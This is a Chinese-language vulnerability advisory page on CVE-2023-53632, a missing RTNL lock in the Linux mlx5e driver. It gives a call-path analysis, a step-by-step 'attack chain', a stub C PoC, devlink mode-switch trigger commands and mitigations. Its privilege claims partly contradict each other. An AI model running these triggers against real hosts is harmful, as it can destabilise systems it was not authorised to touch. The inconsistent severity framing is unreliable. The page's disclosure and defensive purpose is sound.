IPBUF安全漏洞报告
English
CVE-2023-53632 CVSS 5.5 中危

CVE-2023-53632 Linux内核mlx5e驱动RTNL锁缺失漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53632
漏洞类型
竞争条件/锁缺失导致的拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核mlx5e网络驱动(Mellanox ConnectX系列网卡驱动)

相关标签

Linux内核mlx5e驱动MellanoxRTNL锁竞争条件拒绝服务netdev通知链eSwitchxdp_set_features内核漏洞

漏洞概述

CVE-2023-53632是Linux内核中mlx5e(Mellanox ConnectX系列以太网驱动)模块存在的一个RTNL锁缺失漏洞。该漏洞源于在调用xdp_set_features()函数时未持有RTNL(Routing Netlink)锁,而该函数会触发netdev通知链(netdev notifiers),从而违反了内核中关于RTNL锁的断言检查。

该漏洞在特定场景下触发,例如从uplink rep(上游表示端口)切换到nic profile(网卡配置文件)时。在切换过程中,mlx5e_set_xdp_feature函数会调用call_netdevice_notifiers,而此时未持有RTNL锁,导致内核在net/core/dev.c的1953行触发断言失败(assertion failed),产生WARNING警告。严重情况下可能导致系统不稳定或内核oops,影响系统可用性。

该漏洞的CVSS评分为5.5,属于中等严重等级。攻击向量为本地攻击(AV:L),需要低权限(PR:L),无需用户交互(UI:N),对机密性无影响(C:N),对完整性无影响(I:N),但对可用性有高影响(A:H)。这意味着本地低权限用户可以通过触发特定的网络设备操作导致系统警告或崩溃,从而实现拒绝服务攻击。

该漏洞影响使用Mellanox ConnectX系列网卡并启用了相关eSwitch(增强型交换)功能的Linux系统,常见于高性能计算和数据中心环境。漏洞已在Linux内核稳定版本中通过提交16b7775ae4389dd1e885732ea610321c64284e5f和72cc654970658e88a1cdea08f06b11c218efa4da得到修复。

技术细节

该漏洞的技术根源在于mlx5e驱动中mlx5e_set_xdp_feature函数调用xdp_set_features()时未正确持有RTNL锁。RTNL锁是Linux内核中用于保护网络设备配置变更的全局锁,当调用触发netdevice通知链的函数时必须持有该锁。

漏洞触发流程如下:
1. 用户通过devlink接口配置eSwitch模式(如从switchdev模式切换)
2. 内核调用mlx5_devlink_eswitch_mode_set函数
3. 进一步调用mlx5_eswitch_disable_locked和esw_offloads_disable
4. 在卸载representor(rep)过程中调用mlx5e_vport_rep_unload
5. 调用mlx5e_netdev_attach_nic_profile切换到nic profile
6. 在mlx5e_nic_init中调用mlx5e_set_xdp_feature
7. xdp_set_features()内部调用call_netdevice_notifiers触发通知链
8. 但此时未持有RTNL锁,触发net/core/dev.c:1953的断言检查失败

漏洞利用方式:本地具有低权限的用户可以通过devlink接口或触发特定的网络设备操作来触发此路径。具体来说,如果用户能够触发eSwitch模式的切换(如从switchdev模式切换回legacy模式),或者在特定的网络配置变更场景下,就可能触发该断言失败,导致内核打印警告信息。在极端情况下,持续触发可能导致系统不稳定。

修复方案是在调用xdp_set_features()之前获取RTNL锁,确保在持有锁的情况下调用触发通知链的函数,从而满足内核的锁依赖要求。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在一台使用Mellanox ConnectX系列网卡的Linux系统上获得本地低权限访问权限。系统需要加载mlx5_core和mlx5e驱动,并且网卡需要支持eSwitch功能(SR-IOV或switchdev模式)。
STEP 2
步骤2:获取devlink访问权限
攻击者需要具有调用devlink接口的权限,通常需要CAP_NET_ADMIN能力或root权限。但根据CVSS向量(PR:L),低权限用户也可能通过特定方式触发。
STEP 3
步骤3:触发eSwitch模式切换
攻击者通过devlink命令或netlink接口触发eSwitch模式切换,例如从switchdev模式切换到legacy模式,或反向操作。这会调用mlx5_devlink_eswitch_mode_set函数。
STEP 4
步骤4:触发漏洞代码路径
模式切换过程中,内核调用mlx5e_netdev_change_profile -> mlx5e_netdev_attach_nic_profile -> mlx5e_nic_init -> mlx5e_set_xdp_feature,最终调用xdp_set_features()。
STEP 5
步骤5:触发RTNL断言失败
xdp_set_features()内部调用call_netdevice_notifiers触发netdev通知链,但此时未持有RTNL锁,导致net/core/dev.c:1953的断言检查失败,产生内核WARNING。
STEP 6
步骤6:拒绝服务影响
持续触发该路径可能导致系统日志被大量WARNING信息填满,在极端情况下可能导致系统不稳定或内核oops,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53632: Trigger RTNL assertion failure in mlx5e driver // This PoC demonstrates how to trigger the vulnerability by switching eSwitch mode // Requirements: Linux system with Mellanox ConnectX NIC, mlx5_core driver loaded // Local access with low privileges (devlink access) // Step 1: Check current eSwitch mode // Command: devlink dev eswitch show pci/0000:03:00.0 // Expected output showing current mode (switchdev or legacy) // Step 2: Trigger the vulnerability by switching eSwitch mode // This will trigger mlx5e_netdev_change_profile -> mlx5e_nic_init // -> mlx5e_set_xdp_feature -> xdp_set_features() without RTNL lock #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/genetlink.h> // Simplified demonstration - actual exploit uses netlink to communicate with devlink // The key trigger is sending a DEVLINK_CMD_ESWITCH_SET command to change eSwitch mode int trigger_vulnerability() { int sock; struct sockaddr_nl addr; struct msghdr msg; struct nlmsghdr *nlh; struct genlmsghdr *glh; char buffer[4096]; // Create netlink socket sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock < 0) { perror("socket"); return -1; } memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; // Bind socket if (bind(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); close(sock); return -1; } // Prepare netlink message to change eSwitch mode // This triggers the vulnerable code path in mlx5e driver nlh = (struct nlmsghdr *)buffer; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr)); nlh->nlmsg_type = GENL_ID_CTRL; // Would be DEVLINK family ID in actual exploit nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = 1; nlh->nlmsg_pid = getpid(); glh = (struct genlmsghdr *)NLMSG_DATA(nlh); // glh->cmd = DEVLINK_CMD_ESWITCH_SET; // Command to change eSwitch mode // Add attributes to specify mode change (switchdev -> legacy or vice versa) // Send message - this triggers the vulnerable path // In real scenario, use: devlink dev eswitch set pci/0000:03:00.0 mode legacy printf("Triggering eSwitch mode change...\n"); printf("Run: devlink dev eswitch set pci/<device> mode legacy\n"); printf("Or: devlink dev eswitch set pci/<device> mode switchdev\n"); close(sock); return 0; } int main() { printf("CVE-2023-53632 PoC - mlx5e RTNL Lock Missing Vulnerability\n"); printf("============================================================\n"); printf("This vulnerability triggers a kernel WARNING due to missing\n"); printf("RTNL lock when calling xdp_set_features() in mlx5e driver.\n\n"); trigger_vulnerability(); printf("\nExpected kernel output:\n"); printf("WARNING: CPU: X PID: Y at net/core/dev.c:1953\n"); printf("RTNL: assertion failed at net/core/dev.c\n"); return 0; } // Alternative simple trigger using devlink command line: // $ devlink dev eswitch set pci/0000:03:00.0 mode legacy // $ devlink dev eswitch set pci/0000:03:00.0 mode switchdev

影响范围

Linux kernel < 6.4(受影响版本,具体修复版本见提交记录)
Linux kernel 6.4.0-rc7及之前版本(已知受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下方式进行临时缓解:1)限制对devlink接口的访问,仅允许受信任的管理员操作;2)避免在生产环境中频繁切换eSwitch模式(如switchdev与legacy模式之间的切换);3)监控内核日志,及时发现并响应RTNL相关的WARNING信息;4)如果不需要eSwitch功能,可以在驱动加载参数中禁用相关特性;5)使用SELinux或AppArmor等安全模块限制对mlx5e相关操作的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表